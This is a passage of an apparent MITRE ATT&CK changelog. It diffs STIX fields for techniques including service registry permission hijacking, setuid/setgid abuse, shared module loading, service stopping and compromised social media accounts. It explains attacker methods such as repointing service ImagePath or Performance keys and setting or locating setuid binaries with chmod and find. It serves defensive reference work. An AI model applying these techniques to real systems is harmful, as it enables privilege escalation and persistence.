| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-24 15:36:08.042000+00:00 | 2021-03-02 22:11:32.017000+00:00 |
| description | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) | Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis) |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Termination |
| x_mitre_data_sources[2] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[3] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[4] | API monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | File: File Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Adversaries may | > | cking the Registry entries used by services. Adversaries may | ||
| > | use flaws in the permissions for registry to redirect from | > | use flaws in the permissions for Registry keys related to s | ||
| > | the originally specified executable to one that they control | > | ervices to redirect from the originally specified executable | ||
| > | , in order to launch their own code at Service start. Windo | > | to one that they control, in order to launch their own code | ||
| > | ws stores local service configuration information in the Reg | > | when a service starts. Windows stores local service configu | ||
| > | istry under <code>HKLM\SYSTEM\CurrentControlSet\Services</co | > | ration information in the Registry under <code>HKLM\SYSTEM\C | ||
| > | de>. The information stored under a service's Registry keys | > | urrentControlSet\Services</code>. The information stored und | ||
| > | can be manipulated to modify a service's execution parameter | > | er a service's Registry keys can be manipulated to modify a | ||
| > | s through tools such as the service controller, sc.exe, [Po | > | service's execution parameters through tools such as the ser | ||
| > | werShell](https://attack.mitre.org/techniques/T1059/001), or | > | vice controller, sc.exe, [PowerShell](https://attack.mitre. | ||
| > | [Reg](https://attack.mitre.org/software/S0075). Access to R | > | org/techniques/T1059/001), or [Reg](https://attack.mitre.org | ||
| > | egistry keys is controlled through Access Control Lists and | > | /software/S0075). Access to Registry keys is controlled thro | ||
| > | permissions. (Citation: Registry Key Security) If the permi | > | ugh access control lists and user permissions. (Citation: Re | ||
| > | ssions for users and groups are not properly set and allow a | > | gistry Key Security)(Citation: malware_hides_service) If th | ||
| > | ccess to the Registry keys for a service, then adversaries c | > | e permissions for users and groups are not properly set and | ||
| > | an change the service binPath/ImagePath to point to a differ | > | allow access to the Registry keys for a service, adversaries | ||
| > | ent executable under their control. When the service starts | > | may change the service's binPath/ImagePath to point to a di | ||
| > | or is restarted, then the adversary-controlled program will | > | fferent executable under their control. When the service sta | ||
| > | execute, allowing the adversary to gain persistence and/or p | > | rts or is restarted, then the adversary-controlled program w | ||
| > | rivilege escalation to the account context the service is se | > | ill execute, allowing the adversary to establish persistence | ||
| > | t to execute under (local/domain account, SYSTEM, LocalServi | > | and/or privilege escalation to the account context the serv | ||
| > | ce, or NetworkService). Adversaries may also alter Registry | > | ice is set to execute under (local/domain account, SYSTEM, L | ||
| > | keys associated with service failure parameters (such as <c | > | ocalService, or NetworkService). Adversaries may also alter | ||
| > | ode>FailureCommand</code>) that may be executed in an elevat | > | other Registry keys in the service’s Registry tree. For exa | ||
| > | ed context anytime the service fails or is intentionally cor | > | mple, the <code>FailureCommand</code> key may be changed so | ||
| > | rupted.(Citation: Kansa Service related collectors)(Citation | > | that the service is executed in an elevated context anytime | ||
| > | : Tweet Registry Perms Weakness) | > | the service fails or is intentionally corrupted.(Citation: K | ||
| > | ansa Service related collectors)(Citation: Tweet Registry Pe | ||||
| > | rms Weakness) The <code>Performance</code> key contains the | ||||
| > | name of a driver service's performance DLL and the names of | ||||
| > | several exported functions in the DLL.(Citation: microsoft_ | ||||
| > | services_registry_tree) If the <code>Performance</code> key | ||||
| > | is not already present and if an adversary-controlled user h | ||||
| > | as the <code>Create Subkey</code> permission, adversaries ma | ||||
| > | y create the <code>Performance</code> key in the service’s R | ||||
| > | egistry tree to point to a malicious DLL.(Citation: insecure | ||||
| > | _reg_perms) Adversaries may also add the <code>Parameters</ | ||||
| > | code> key, which stores driver-specific data, or other custo | ||||
| > | m subkeys for their malicious services to establish persiste | ||||
| > | nce or enable other malicious activities.(Citation: microsof | ||||
| > | t_services_registry_tree)(Citation: troj_zegost) Additionall | ||||
| > | y, If adversaries launch their malicious services using svch | ||||
| > | ost.exe, the service’s file may be identified using <code>HK | ||||
| > | EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena | ||||
| > | me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser | ||||
| > | vice) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-478 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:07:48.590000+00:00 | 2022-05-05 04:53:45.640000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) |
| external_references[1]['source_name'] | capec | Tweet Registry Perms Weakness |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/478.html | https://twitter.com/r0wdy_/status/936365549553991680 |
| external_references[2]['source_name'] | Registry Key Security | insecure_reg_perms |
| external_references[2]['description'] | Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017. | Clément Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021. |
| external_references[2]['url'] | https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN | https://itm4n.github.io/windows-registry-rpceptmapper-eop/ |
| external_references[4]['source_name'] | Tweet Registry Perms Weakness | malware_hides_service |
| external_references[4]['description'] | @r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018. | Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021. |
| external_references[4]['url'] | https://twitter.com/r0wdy_/status/936365549553991680 | https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Services | Process: Process Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_defense_bypassed[0] | Application control | Application Control |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Registry Key Security', 'description': 'Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN'} | |
| external_references | {'source_name': 'microsoft_services_registry_tree', 'description': 'Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree'} | |
| external_references | {'source_name': 'troj_zegost', 'description': 'Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.', 'url': 'https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost'} | |
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/478.html', 'external_id': 'CAPEC-478'} | |
| x_mitre_data_sources | Service: Service Modification |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may perform shell escapes or exploit vulnerabil | t | 1 | An adversary may abuse configurations where an application h |
| > | ities in an application with the setsuid or setgid bits to g | > | as the setuid or setgid bits set in order to get code runnin | ||
| > | et code running in a different user’s context. On Linux or m | > | g in a different (and possibly more privileged) user’s conte | ||
| > | acOS, when the setuid or setgid bits are set for an applicat | > | xt. On Linux or macOS, when the setuid or setgid bits are se | ||
| > | ion, the application will run with the privileges of the own | > | t for an application binary, the application will run with t | ||
| > | ing user or group respectively. (Citation: setuid man page). | > | he privileges of the owning user or group respectively.(Cita | ||
| > | Normally an application is run in the current user’s contex | > | tion: setuid man page) Normally an application is run in the | ||
| > | t, regardless of which user or group owns the application. H | > | current user’s context, regardless of which user or group o | ||
| > | owever, there are instances where programs need to be execut | > | wns the application. However, there are instances where prog | ||
| > | ed in an elevated context to function properly, but the user | > | rams need to be executed in an elevated context to function | ||
| > | running them doesn’t need the elevated privileges. Instead | > | properly, but the user running them may not have the specifi | ||
| > | of creating an entry in the sudoers file, which must be don | > | c required privileges. Instead of creating an entry in the | ||
| > | e by root, any user can specify the setuid or setgid flag to | > | sudoers file, which must be done by root, any user can speci | ||
| > | be set for their own applications. These bits are indicated | > | fy the setuid or setgid flag to be set for their own applica | ||
| > | with an "s" instead of an "x" when viewing a file's attribu | > | tions (i.e. [Linux and Mac File and Directory Permissions Mo | ||
| > | tes via <code>ls -l</code>. The <code>chmod</code> program c | > | dification](https://attack.mitre.org/techniques/T1222/002)). | ||
| > | an set these bits with via bitmasking, <code>chmod 4777 [fil | > | The <code>chmod</code> command can set these bits with bitm | ||
| > | e]</code> or via shorthand naming, <code>chmod u+s [file]</c | > | asking, <code>chmod 4777 [file]</code> or via shorthand nami | ||
| > | ode>. Adversaries can use this mechanism on their own malwa | > | ng, <code>chmod u+s [file]</code>. This will enable the setu | ||
| > | re to make sure they're able to execute in elevated contexts | > | id bit. To enable the setgit bit, <code>chmod 2775</code> an | ||
| > | in the future.(Citation: OSX Keydnap malware). | > | d <code>chmod g+s</code> can be used. Adversaries can use t | ||
| > | his mechanism on their own malware to make sure they're able | ||||
| > | to execute in elevated contexts in the future.(Citation: OS | ||||
| > | X Keydnap malware) This abuse is often part of a "shell esca | ||||
| > | pe" or other actions to bypass an execution environment with | ||||
| > | restricted permissions. Alternatively, adversaries may cho | ||||
| > | ose to find and target vulnerable binaries with the setuid o | ||||
| > | r setgid bits already enabled (i.e. [File and Directory Disc | ||||
| > | overy](https://attack.mitre.org/techniques/T1083)). The setu | ||||
| > | id and setguid bits are indicated with an "s" instead of an | ||||
| > | "x" when viewing a file's attributes via <code>ls -l</code>. | ||||
| > | The <code>find</code> command can also be used to search fo | ||||
| > | r such files. For example, <code>find / -perm +4000 2>/dev/n | ||||
| > | ull</code> can be used to find files with setuid set and <co | ||||
| > | de>find / -perm +2000 2>/dev/null</code> may be used for set | ||||
| > | gid. Binaries that have these bits set may then be abused by | ||||
| > | adversaries.(Citation: GTFOBins Suid) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 00:43:58.149000+00:00 | 2022-04-19 15:07:53.060000+00:00 |
| description | An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware). | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.
Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) |
| external_references[1]['source_name'] | setuid man page | GTFOBins Suid |
| external_references[1]['description'] | Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018. | Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022. |
| external_references[1]['url'] | http://man7.org/linux/man-pages/man2/setuid.2.html | https://gtfobins.github.io/#+suid |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'setuid man page', 'description': "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", 'url': 'http://man7.org/linux/man-pages/man2/setuid.2.html'} |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse shared modules to execute malicious pa | t | 1 | Adversaries may execute malicious payloads via loading share |
| > | yloads. The Windows module loader can be instructed to load | > | d modules. The Windows module loader can be instructed to lo | ||
| > | DLLs from arbitrary local paths and arbitrary Universal Nami | > | ad DLLs from arbitrary local paths and arbitrary Universal N | ||
| > | ng Convention (UNC) network paths. This functionality reside | > | aming Convention (UNC) network paths. This functionality res | ||
| > | s in NTDLL.dll and is part of the Windows [Native API](https | > | ides in NTDLL.dll and is part of the Windows [Native API](ht | ||
| > | ://attack.mitre.org/techniques/T1106) which is called from f | > | tps://attack.mitre.org/techniques/T1106) which is called fro | ||
| > | unctions like <code>CreateProcess</code>, <code>LoadLibrary< | > | m functions like <code>CreateProcess</code>, <code>LoadLibra | ||
| > | /code>, etc. of the Win32 API. (Citation: Wikipedia Windows | > | ry</code>, etc. of the Win32 API.(Citation: Wikipedia Window | ||
| > | Library Files) The module loader can load DLLs: * via spec | > | s Library Files) The module loader can load DLLs: * via sp | ||
| > | ification of the (fully-qualified or relative) DLL pathname | > | ecification of the (fully-qualified or relative) DLL pathnam | ||
| > | in the IMPORT directory; * via EXPORT forwarded to anot | > | e in the IMPORT directory; * via EXPORT forwarded to an | ||
| > | her DLL, specified with (fully-qualified or relative) pathna | > | other DLL, specified with (fully-qualified or relative) path | ||
| > | me (but without extension); * via an NTFS junction or s | > | name (but without extension); * via an NTFS junction or | ||
| > | ymlink program.exe.local with the fully-qualified or relativ | > | symlink program.exe.local with the fully-qualified or relat | ||
| > | e pathname of a directory containing the DLLs specified in t | > | ive pathname of a directory containing the DLLs specified in | ||
| > | he IMPORT directory or forwarded EXPORTs; * via <code>& | > | the IMPORT directory or forwarded EXPORTs; * via <code | ||
| > | #x3c;file name="filename.extension" loadFrom="fully-qualifie | > | ><file name="filename.extension" loadFrom="fully-qualif | ||
| > | d or relative pathname"></code> in an embedded or exter | > | ied or relative pathname"></code> in an embedded or ext | ||
| > | nal "application manifest". The file name refers to an entry | > | ernal "application manifest". The file name refers to an ent | ||
| > | in the IMPORT directory or a forwarded EXPORT. Adversaries | > | ry in the IMPORT directory or a forwarded EXPORT. Adversari | ||
| > | may use this functionality as a way to execute arbitrary co | > | es may use this functionality as a way to execute arbitrary | ||
| > | de on a victim system. For example, malware may execute shar | > | payloads on a victim system. For example, malware may execut | ||
| > | e modules to load additional components or features. | > | e share modules to load additional components or features. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:14:36.980000+00:00 | 2022-04-19 20:31:10.657000+00:00 |
| description | Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features. | Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
* via <file name="filename.extension" loadFrom="fully-qualified or relative pathname"> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features. |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | DLL monitoring | Module: Module Load |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 17:21:27.487000+00:00 | 2021-04-13 21:30:24.555000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | Process command-line parameters | File: File Modification |
| x_mitre_detection | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. | Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'BSidesSLC 2020 - LNK Elastic', 'description': 'French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.', 'url': 'https://www.youtube.com/watch?v=nJ0UsyiUEqQ'} | |
| x_mitre_contributors | David French, Elastic | |
| x_mitre_contributors | Bobby, Filar, Elastic |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise soc | t | 1 | Adversaries may compromise social media accounts that can be |
| > | ial media accounts that can be used during targeting. For op | > | used during targeting. For operations incorporating social | ||
| > | erations incorporating social engineering, the utilization o | > | engineering, the utilization of an online persona may be imp | ||
| > | f an online persona may be important. Rather than creating a | > | ortant. Rather than creating and cultivating social media pr | ||
| > | nd cultivating social media profiles (i.e. [Social Media Acc | > | ofiles (i.e. [Social Media Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1585/001)), adve | > | g/techniques/T1585/001)), adversaries may compromise existin | ||
| > | rsaries may compromise existing social media accounts. Utili | > | g social media accounts. Utilizing an existing persona may e | ||
| > | zing an existing persona may engender a level of trust in a | > | ngender a level of trust in a potential victim if they have | ||
| > | potential victim if they have a relationship, or knowledge o | > | a relationship, or knowledge of, the compromised persona. | ||
| > | f, the compromised persona. A variety of methods exist for | > | A variety of methods exist for compromising social media acc | ||
| > | compromising social media accounts, such as gathering crede | > | ounts, such as gathering credentials via [Phishing for Infor | ||
| > | ntials via [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598), purchasi | ||
| > | rg/techniques/T1598), purchasing credentials from third-part | > | ng credentials from third-party sites, or by brute forcing c | ||
| > | y sites, or by brute forcing credentials (ex: password reuse | > | redentials (ex: password reuse from breach credential dumps) | ||
| > | from breach credential dumps).(Citation: AnonHBGary) Prior | > | .(Citation: AnonHBGary) Prior to compromising social media a | ||
| > | to compromising social media accounts, adversaries may condu | > | ccounts, adversaries may conduct Reconnaissance to inform de | ||
| > | ct Reconnaissance to inform decisions about which accounts t | > | cisions about which accounts to compromise to further their | ||
| > | o compromise to further their operation. Personas may exist | > | operation. Personas may exist on a single site or across mu | ||
| > | on a single site or across multiple sites (ex: Facebook, Li | > | ltiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compro | ||
| > | nkedIn, Twitter, etc.). Compromised social media accounts ma | > | mised social media accounts may require additional developme | ||
| > | y require additional development, this could include filling | > | nt, this could include filling out or modifying profile info | ||
| > | out or modifying profile information, further developing so | > | rmation, further developing social networks, or incorporatin | ||
| > | cial networks, or incorporating photos. Adversaries can use | > | g photos. Adversaries can use a compromised social media pr | ||
| > | a compromised social media profile to create new, or hijack | > | ofile to create new, or hijack existing, connections to targ | ||
| > | existing, connections to targets of interest. These connect | > | ets of interest. These connections may be direct or may incl | ||
| > | ions may be direct or may include trying to connect through | > | ude trying to connect through others.(Citation: NEWSCASTER20 | ||
| > | others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSag | > | 14)(Citation: BlackHatRobinSage) Compromised profiles may be | ||
| > | e) Compromised profiles may be leveraged during other phases | > | leveraged during other phases of the adversary lifecycle, s | ||
| > | of the adversary lifecycle, such as during Initial Access ( | > | uch as during Initial Access (ex: [Spearphishing via Service | ||
| > | ex: [Spearphishing via Service](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | hniques/T1566/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:57:43.708000+00:00 | 2021-10-16 17:15:12.169000+00:00 |
| description | Before compromising a victim, adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be 